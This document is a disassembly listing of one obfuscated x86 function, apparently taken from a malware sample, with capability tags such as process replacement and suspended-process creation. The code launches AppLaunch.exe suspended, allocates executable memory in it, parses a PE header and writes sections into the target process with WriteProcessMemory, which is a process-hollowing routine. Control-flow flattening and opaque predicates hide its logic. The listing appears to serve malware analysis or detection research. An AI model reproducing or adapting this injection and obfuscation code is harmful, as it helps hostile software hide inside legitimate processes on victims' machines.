Function at 0x40e3e0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Inspect section memory permissions
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x184
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18c], eax
mov eax, dword [0x4dfe80]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x188], 0xc235c74b
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x190], eax
sub eax, 0x80b2b309
je 0x410abb
jmp 0x40e425
mov eax, dword [ebp - 0x190]
sub eax, 0x81ac2f6f
je 0x410045
jmp 0x40e43b
mov eax, dword [ebp - 0x190]
sub eax, 0x81ead814
je 0x4118f6
jmp 0x40e451
mov eax, dword [ebp - 0x190]
sub eax, 0x8334f592
je 0x40fbbc
jmp 0x40e467
mov eax, dword [ebp - 0x190]
sub eax, 0x833e7f88
je 0x4116a2
jmp 0x40e47d
mov eax, dword [ebp - 0x190]
sub eax, 0x83e9c58e
je 0x410a81
jmp 0x40e493
mov eax, dword [ebp - 0x190]
sub eax, 0x86733dbc
je 0x410f6b
jmp 0x40e4a9
mov eax, dword [ebp - 0x190]
sub eax, 0x86a7cef7
je 0x40fc67
jmp 0x40e4bf
mov eax, dword [ebp - 0x190]
sub eax, 0x86ab6d52
je 0x412422
jmp 0x40e4d5
mov eax, dword [ebp - 0x190]
sub eax, 0x86f7636a
je 0x412e8a
jmp 0x40e4eb
mov eax, dword [ebp - 0x190]
sub eax, 0x89f1dff1
je 0x412943
jmp 0x40e501
mov eax, dword [ebp - 0x190]
sub eax, 0x8a01c629
je 0x411b5b
jmp 0x40e517
mov eax, dword [ebp - 0x190]
sub eax, 0x8a0b2ba0
je 0x411914
jmp 0x40e52d
mov eax, dword [ebp - 0x190]
sub eax, 0x8ac22508
je 0x411bc5
jmp 0x40e543
mov eax, dword [ebp - 0x190]
sub eax, 0x8bf7c3be
je 0x40ffcf
jmp 0x40e559
mov eax, dword [ebp - 0x190]
sub eax, 0x8c1c558a
je 0x40f96e
jmp 0x40e56f
mov eax, dword [ebp - 0x190]
sub eax, 0x8f0e5d68
je 0x4124f5
jmp 0x40e585
mov eax, dword [ebp - 0x190]
sub eax, 0x9072d036
je 0x412f63
jmp 0x40e59b
mov eax, dword [ebp - 0x190]
sub eax, 0x91e6a8f4
je 0x4120c5
jmp 0x40e5b1
mov eax, dword [ebp - 0x190]
sub eax, 0x9384040b
je 0x412fe0
jmp 0x40e5c7
mov eax, dword [ebp - 0x190]
sub eax, 0x949eafdd
je 0x411f1e
jmp 0x40e5dd
mov eax, dword [ebp - 0x190]
sub eax, 0x94adfb87
je 0x410e90
jmp 0x40e5f3
mov eax, dword [ebp - 0x190]
sub eax, 0x9540dfb4
je 0x412d0e
jmp 0x40e609
mov eax, dword [ebp - 0x190]
sub eax, 0x96bc7694
je 0x40f9b2
jmp 0x40e61f
mov eax, dword [ebp - 0x190]
sub eax, 0x97396bc9
je 0x411d73
jmp 0x40e635
mov eax, dword [ebp - 0x190]
sub eax, 0x993ddbf9
je 0x41307c
jmp 0x40e64b
mov eax, dword [ebp - 0x190]
sub eax, 0x9ac3eb52
je 0x411aac
jmp 0x40e661
mov eax, dword [ebp - 0x190]
sub eax, 0x9b1278bd
je 0x4125f7
jmp 0x40e677
mov eax, dword [ebp - 0x190]
sub eax, 0x9bbbb0f4
je 0x40ff8f
jmp 0x40e68d
mov eax, dword [ebp - 0x190]
sub eax, 0x9f110dca
je 0x413235
jmp 0x40e6a3
mov eax, dword [ebp - 0x190]
sub eax, 0xa012cef3
je 0x40fbf1
jmp 0x40e6b9
mov eax, dword [ebp - 0x190]
sub eax, 0xa1d7e6a2
je 0x41079c
jmp 0x40e6cf
mov eax, dword [ebp - 0x190]
sub eax, 0xa3dc51bf
je 0x412d98
jmp 0x40e6e5
mov eax, dword [ebp - 0x190]
sub eax, 0xa4121351
je 0x412b45
jmp 0x40e6fb
mov eax, dword [ebp - 0x190]
sub eax, 0xa4ae654c
je 0x412eba
jmp 0x40e711
mov eax, dword [ebp - 0x190]
sub eax, 0xa4e1b8d0
je 0x4102a9
jmp 0x40e727
mov eax, dword [ebp - 0x190]
sub eax, 0xa8881a09
je 0x410931
jmp 0x40e73d
mov eax, dword [ebp - 0x190]
sub eax, 0xa9775a76
je 0x410652
jmp 0x40e753
mov eax, dword [ebp - 0x190]
sub eax, 0xa9ae4b3b
je 0x411957
jmp 0x40e769
mov eax, dword [ebp - 0x190]
sub eax, 0xa9dc8ce7
je 0x411f6f
jmp 0x40e77f
mov eax, dword [ebp - 0x190]
sub eax, 0xabd3c048
je 0x413298
jmp 0x40e795
mov eax, dword [ebp - 0x190]
sub eax, 0xad8cacf0
je 0x412d74
jmp 0x40e7ab
mov eax, dword [ebp - 0x190]
sub eax, 0xaf16a785
je 0x4101c9
jmp 0x40e7c1
mov eax, dword [ebp - 0x190]
sub eax, 0xaf98c347
je 0x4121b1
jmp 0x40e7d7
mov eax, dword [ebp - 0x190]
sub eax, 0xafd64230
je 0x4119c8
jmp 0x40e7ed
mov eax, dword [ebp - 0x190]
sub eax, 0xb188d1e4
je 0x412fb6
jmp 0x40e803
mov eax, dword [ebp - 0x190]
sub eax, 0xb2abb704
je 0x4120b6
jmp 0x40e819
mov eax, dword [ebp - 0x190]
sub eax, 0xb39992fe
je 0x41199d
jmp 0x40e82f
mov eax, dword [ebp - 0x190]
sub eax, 0xb4aee271
je 0x41122c
jmp 0x40e845
mov eax, dword [ebp - 0x190]
sub eax, 0xb53b000b
je 0x40ff3e
jmp 0x40e85b
mov eax, dword [ebp - 0x190]
sub eax, 0xb79407cc
je 0x4131e1
jmp 0x40e871
mov eax, dword [ebp - 0x190]
sub eax, 0xb990d867
je 0x40fd47
jmp 0x40e887
mov eax, dword [ebp - 0x190]
sub eax, 0xbabb87d9
je 0x4101a6
jmp 0x40e89d
mov eax, dword [ebp - 0x190]
sub eax, 0xbadc9dc3
je 0x412758
jmp 0x40e8b3
mov eax, dword [ebp - 0x190]
sub eax, 0xbb4f939b
je 0x411f8a
jmp 0x40e8c9
mov eax, dword [ebp - 0x190]
sub eax, 0xbb9856fd
je 0x411568
jmp 0x40e8df
mov eax, dword [ebp - 0x190]
sub eax, 0xbc7266cb
je 0x40fa90
jmp 0x40e8f5
mov eax, dword [ebp - 0x190]
sub eax, 0xbf19c706
je 0x412c0f
jmp 0x40e90b
mov eax, dword [ebp - 0x190]
sub eax, 0xbfe8e30f
je 0x41121d
jmp 0x40e921
mov eax, dword [ebp - 0x190]
sub eax, 0xc003626f
je 0x41057b
jmp 0x40e937
mov eax, dword [ebp - 0x190]
sub eax, 0xc1e59571
je 0x412a61
jmp 0x40e94d
mov eax, dword [ebp - 0x190]
sub eax, 0xc1f1a8cb
je 0x40f947
jmp 0x40e963
mov eax, dword [ebp - 0x190]
sub eax, 0xc2089efb
je 0x410922
jmp 0x40e979
mov eax, dword [ebp - 0x190]
sub eax, 0xc235c74b
je 0x40f846
jmp 0x40e98f
mov eax, dword [ebp - 0x190]
sub eax, 0xc49bf067
je 0x411862
mov eax, dword [ebp - 0x18c]
push eax
mov ecx, esp
mov dword [ebp - 0x180], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x17c], ecx
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x178], ecx
sub esp, 0x44
mov ecx, esp
mov dword [ebp - 0x174], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x170], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x16c], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x168], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x164], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x160], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x15c], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x158], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x154], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x150], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x14c], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x148], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x144], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x140], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x13c], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x138], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x134], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x130], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x184], eax
mov ecx, dword [ebp - 0x184]
mov eax, dword [ebp - 0x180]
mov dword [eax], ecx
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x188], 0xc1f1a8cb
jmp 0x4132e3
mov eax, dword [ebp - 0x128]
movzx edx, word [eax]
mov eax, 0xd64e3008
mov ecx, 0x8c1c558a
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
mov ecx, dword [ebp - 0x184]
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov edx, dword [eax + 0x3c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x17c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x188], 0x96bc7694
jmp 0x4132e3
mov eax, dword [0x4e1354]
mov ecx, dword [0x4e1350]
mov edx, eax
sub edx, 0x78d39717
sub edx, 1
add edx, 0x78d39717
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7aca2b52
mov ecx, 0x1e131fda
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
mov dword [ebp - 0x188], 0xcf9093c6
jmp 0x4132e3
mov eax, dword [ebp - 0x174]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.0041e020
add esp, 0xc
mov dword [ebp - 0x188], 0xa012cef3
jmp 0x4132e3
mov ecx, dword [0x4e1354]
mov eax, dword [0x4e1350]
mov edx, ecx
sub edx, 0xdb9eb28e
sub edx, 1
add edx, 0xdb9eb28e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe2d43ff5
mov ecx, 0x86a7cef7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x174]
lea edx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x11d], al
mov eax, dword [0x4e1354]
mov ecx, dword [0x4e1350]
mov edx, eax
sub edx, 0xf0a48955
sub edx, 1
add edx, 0xf0a48955
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe2d43ff5
mov ecx, 0x38a6f2d7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
mov eax, dword [0x4e1354]
mov ecx, dword [0x4e1350]
mov edx, eax
add edx, 0xcb44327e
sub edx, 1
sub edx, 0xcb44327e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9540dfb4
mov ecx, 0x79000c86
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
mov eax, dword [ebp - 0x104]
mov edx, dword [eax]
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x108]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x168]
mov dword [eax], ecx
mov dword [ebp - 0x188], 0x9bbbb0f4
jmp 0x4132e3
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x38
mov dword [ebp - 0x100], eax
mov dword [ebp - 0x188], 0x611ef36d
jmp 0x4132e3
mov ecx, dword [0x4e1354]
mov eax, dword [0x4e1350]
mov edx, ecx
add edx, 0x62448c70
sub edx, 1
sub edx, 0x62448c70
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2877fbc4
mov ecx, 0x81ac2f6f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xfc]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x168]
mov dword [eax], ecx
mov eax, dword [0x4e1354]
mov ecx, dword [0x4e1350]
mov edx, eax
sub edx, 0x4b6e8fd8
sub edx, 1
add edx, 0x4b6e8fd8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2877fbc4
mov ecx, 0x547ec85
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
mov eax, dword [ebp - 0xf8]
cmp eax, 0
setbe al
and al, 1
mov byte [ebp - 0xf1], al
mov dword [ebp - 0x188], 0xaf16a785
jmp 0x4132e3
mov ecx, dword [0x4e1354]
mov eax, dword [0x4e1350]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5d739cd3
mov ecx, 0x5c1f1448
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x3c
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x188], 0x23780273
jmp 0x4132e3
mov eax, dword [0x4e1354]
mov ecx, dword [0x4e1350]
mov edx, eax
sub edx, 0x375ebed1
sub edx, 1
add edx, 0x375ebed1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x86f7636a
mov ecx, 0x7eb5d64e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
mov dword [ebp - 0x188], 0xd881042c
jmp 0x4132e3
mov ecx, dword [0x4e1354]
mov eax, dword [0x4e1350]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa4ae654c
mov ecx, 0xf3d0489
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
mov dword [ebp - 0x188], 0xa8881a09
jmp 0x4132e3
mov eax, dword [ebp - 0x154]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd0]
imul ecx, ecx, 0x28
add eax, ecx
mov esi, dword [eax + 0xc]
mov edx, dword [ebp - 0xd4]
mov eax, 0xda284816
mov ecx, 0x6feaf253
cmp edx, esi
cmovae eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x188], 0x80b2b309
jmp 0x4132e3
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xbc]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov esi, dword [ebp - 0xc4]
add esi, 0xddf230d7
add esi, eax
sub esi, 0xddf230d7
mov edx, dword [ebp - 0xcc]
mov eax, 0xda284816
mov ecx, 0x2045d881
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
mov eax, dword [0x4e1354]
mov ecx, dword [0x4e1350]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x77fd91da
mov ecx, 0xe595d198
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
mov dword [ebp - 0x188], 0x653655a2
jmp 0x4132e3
mov dword [ebp - 0x188], 0xb4aee271
jmp 0x4132e3
mov eax, dword [0x4e1354]
mov ecx, dword [0x4e1350]
mov edx, eax
add edx, 0xa4360f3f
sub edx, 1
sub edx, 0xa4360f3f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7a4a3eb
mov ecx, 0x20d3b2b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
mov dword [ebp - 0x188], 0x5ca0dec3
jmp 0x4132e3
mov dl, byte [ebp - 0x65]
mov eax, 0x81ead814
mov ecx, 0x10b9781b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
mov dword [ebp - 0x188], 0xdb97cda3
jmp 0x4132e3
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x188], 0x170be577
jmp 0x4132e3
mov dword [ebp - 0x188], 0xb4aee271
jmp 0x4132e3
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x54]
sub ecx, 0x2a7d7ad9
add ecx, eax
add ecx, 0x2a7d7ad9
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov dword [ebp - 0x188], 0x42a4d71
jmp 0x4132e3
mov ecx, dword [0x4e1354]
mov eax, dword [0x4e1350]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2da570b8
mov ecx, 0xd61ad2e9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
mov dword [ebp - 0x188], 0x3019c1ef
jmp 0x4132e3
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x4c], eax
mov eax, dword [0x4e1354]
mov ecx, dword [0x4e1350]
mov edx, eax
add edx, 0xa78550ec
sub edx, 1
sub edx, 0xa78550ec
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd60ebd7e
mov ecx, 0x8ac22508
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
mov dword [ebp - 0x188], 0x695f1f6a
jmp 0x4132e3
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x20000000
mov ecx, 0xffffffff
xor ecx, 0x34b7f637
or eax, edx
or ecx, 0x34b7f637
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x45], al
mov dword [ebp - 0x188], 0xe7f57c27
jmp 0x4132e3
mov dword [ebp - 0x188], 0x126b5d62
jmp 0x4132e3
mov eax, dword [ebp - 0x130]
mov dword [eax], 4
mov dword [ebp - 0x188], 0xbb4f939b
jmp 0x4132e3
mov dword [ebp - 0x188], 0x45d6adb2
jmp 0x4132e3
mov dword [ebp - 0x188], 0x91e6a8f4
jmp 0x4132e3
mov ecx, dword [0x4e1354]
mov eax, dword [0x4e1350]
mov edx, ecx
sub edx, 0x89e3cccb
sub edx, 1
add edx, 0x89e3cccb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x419635ef
mov ecx, 0x7687d7d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
mov dl, byte [ebp - 0x39]
mov eax, 0x4347e66f
mov ecx, 0xdbd51f8e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
mov eax, dword [0x4e1354]
mov ecx, dword [0x4e1350]
mov edx, eax
add edx, 0x572b37b
sub edx, 1
sub edx, 0x572b37b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x259a812a
mov ecx, 0x3a6c62e2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
mov dword [ebp - 0x188], 0x5ed3df46
jmp 0x4132e3
mov ecx, dword [0x4e1354]
mov eax, dword [0x4e1350]
mov edx, ecx
add edx, 0x19716954
sub edx, 1
sub edx, 0x19716954
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1ecd87a2
mov ecx, 0x636c9655
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
mov ecx, dword [0x4e1354]
mov eax, dword [0x4e1350]
mov edx, ecx
sub edx, 0xa7bc3a67
sub edx, 1
add edx, 0xa7bc3a67
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf452dc95
mov ecx, 0xf2ffbef7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
sub eax, 0x1f6f2931
add eax, 1
add eax, 0x1f6f2931
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x188], 0x4f5a8c3c
jmp 0x4132e3
mov dword [ebp - 0x188], 0x37fa83cd
jmp 0x4132e3
mov eax, dword [ebp - 0x178]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x188], 0x71b6a427
jmp 0x4132e3
mov eax, dword [0x4e1354]
mov ecx, dword [0x4e1350]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6a5b2071
mov ecx, 0x5e861763
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x4132e3
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x188], 0x79000c86
jmp 0x4132e3
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x188], 0x3f6078e1
jmp 0x4132e3
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x184]
mov edx, dword [ebp - 0x168]
mov edx, dword [edx]
mov esi, dword [ebp - 0x178]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x184]
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x164]
mov dword [eax], ecx
mov eax, dword [ebp - 0x17c]
mov ecx, dword [eax]
add ecx, 0xae288993
add ecx, 0x18
sub ecx, 0xae288993
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, 0x32bbb848
add ecx, eax
sub ecx, 0x32bbb848
mov eax, dword [ebp - 0x160]
mov dword [eax], ecx
mov eax, dword [ebp - 0x15c]
mov dword [eax], 0
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x188], 0x165ac3aa
jmp 0x4132e3
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x188], 0x7eb5d64e
jmp 0x4132e3
mov eax, dword [ebp - 0x154]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd8]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x184]
mov edx, dword [ebp - 0x164]
mov edx, dword [edx]
mov esi, dword [ebp - 0x154]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0x14]
add ecx, 0x3c34940d
add ecx, edx
sub ecx, 0x3c34940d
mov edx, dword [ebp - 0x168]
mov edx, dword [edx]
mov esi, dword [ebp - 0x164]
mov esi, dword [esi]
mov edi, dword [ebp - 0x154]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edi
sub edx, esi
mov esi, dword [ebp - 0x178]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x158]
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x188], 0xf3d0489
jmp 0x4132e3
mov eax, dword [ebp - 0x158]
mov eax, dword [ebp - 0x164]
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x188], 0x31730eee
jmp 0x4132e3
mov dword [ebp - 0x188], 0xdb30f8d1
jmp 0x4132e3
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x188], 0x227a0b05
jmp 0x4132e3
mov dword [ebp - 0x188], 0x276ff823
jmp 0x4132e3
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x188], 0x2ae89286
jmp 0x4132e3
